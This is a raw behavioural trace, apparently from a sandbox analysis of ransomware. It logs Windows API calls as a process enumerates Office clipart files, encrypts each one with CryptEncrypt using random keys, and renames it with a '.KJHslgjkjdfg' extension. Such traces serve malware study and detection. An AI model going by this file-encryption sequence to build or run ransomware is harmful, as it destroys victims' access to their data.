1 [0237.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.611] SetEndOfFile (hFile=0x130) returned 1 [0237.614] GetProcessHeap () returned 0x2ef0000 [0237.614] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.614] GetProcessHeap () returned 0x2ef0000 [0237.614] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.kjhslgjkjdfg")) returned 1 [0237.615] CloseHandle (hObject=0x130) returned 1 [0237.615] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f14c400, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f14c400, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x62b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00683_.WMF", cAlternateFileName="")) returned 1 [0237.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.617] GetProcessHeap () returned 0x2ef0000 [0237.617] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.617] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.617] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.617] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0237.619] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.619] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.619] GetProcessHeap () returned 0x2ef0000 [0237.620] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.620] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.620] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.620] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.620] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.620] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.620] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.620] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.620] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.620] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.620] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x62b6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x62b6, lpOverlapped=0x0) returned 1 [0237.621] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62c0, dwBufLen=0x62c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x62c0) returned 1 [0237.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.622] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x62c0, lpOverlapped=0x0) returned 1 [0237.622] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.622] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.622] SetEndOfFile (hFile=0x130) returned 1 [0237.625] GetProcessHeap () returned 0x2ef0000 [0237.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0237.625] GetProcessHeap () returned 0x2ef0000 [0237.625] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0237.625] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.kjhslgjkjdfg")) returned 1 [0237.627] CloseHandle (hObject=0x130) returned 1 [0237.627] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6302, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00694_.WMF", cAlternateFileName="")) returned 1 [0237.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0237.629] GetProcessHeap () returned 0x2ef0000 [0237.629] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0237.629] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0237.629] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0237.629] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0237.665] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.666] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.666] GetProcessHeap () returned 0x2ef0000 [0237.666] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0237.666] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0237.666] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0237.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0237.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0237.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0237.666] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0237.666] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0237.666] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0237.666] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0237.667] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0237.667] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0237.667] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6302, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6302, lpOverlapped=0x0) returned 1 [0238.568] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6310, dwBufLen=0x6310 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6310) returned 1 [0238.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.568] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6310, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6310, lpOverlapped=0x0) returned 1 [0238.568] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.568] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x63e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.568] SetEndOfFile (hFile=0x130) returned 1 [0238.570] GetProcessHeap () returned 0x2ef0000 [0238.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.570] GetProcessHeap () returned 0x2ef0000 [0238.570] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.kjhslgjkjdfg")) returned 1 [0238.572] CloseHandle (hObject=0x130) returned 1 [0238.572] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3636, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00704_.WMF", cAlternateFileName="")) returned 1 [0238.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.573] GetProcessHeap () returned 0x2ef0000 [0238.573] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.573] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.573] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.573] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0238.574] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.574] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.574] GetProcessHeap () returned 0x2ef0000 [0238.575] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.575] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.575] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.575] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.575] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.575] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.575] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.575] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.575] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.575] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.575] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.575] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3636, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3636, lpOverlapped=0x0) returned 1 [0238.576] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3640, dwBufLen=0x3640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3640) returned 1 [0238.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.576] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3640, lpOverlapped=0x0) returned 1 [0238.576] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.576] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.576] SetEndOfFile (hFile=0x130) returned 1 [0238.578] GetProcessHeap () returned 0x2ef0000 [0238.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.578] GetProcessHeap () returned 0x2ef0000 [0238.578] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.578] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.kjhslgjkjdfg")) returned 1 [0238.579] CloseHandle (hObject=0x130) returned 1 [0238.579] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6697b000, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6697b000, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x16478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00726_.WMF", cAlternateFileName="")) returned 1 [0238.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.580] GetProcessHeap () returned 0x2ef0000 [0238.580] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.580] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.580] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.580] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.582] GetProcessHeap () returned 0x2ef0000 [0238.582] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.582] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.582] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.582] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.582] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.582] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.582] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.582] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.583] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16478, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16478, lpOverlapped=0x0) returned 1 [0238.584] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16480, dwBufLen=0x16480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16480) returned 1 [0238.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.585] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16480, lpOverlapped=0x0) returned 1 [0238.585] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.585] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.585] SetEndOfFile (hFile=0x130) returned 1 [0238.588] GetProcessHeap () returned 0x2ef0000 [0238.588] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.588] GetProcessHeap () returned 0x2ef0000 [0238.588] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.588] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.kjhslgjkjdfg")) returned 1 [0238.589] CloseHandle (hObject=0x130) returned 1 [0238.589] 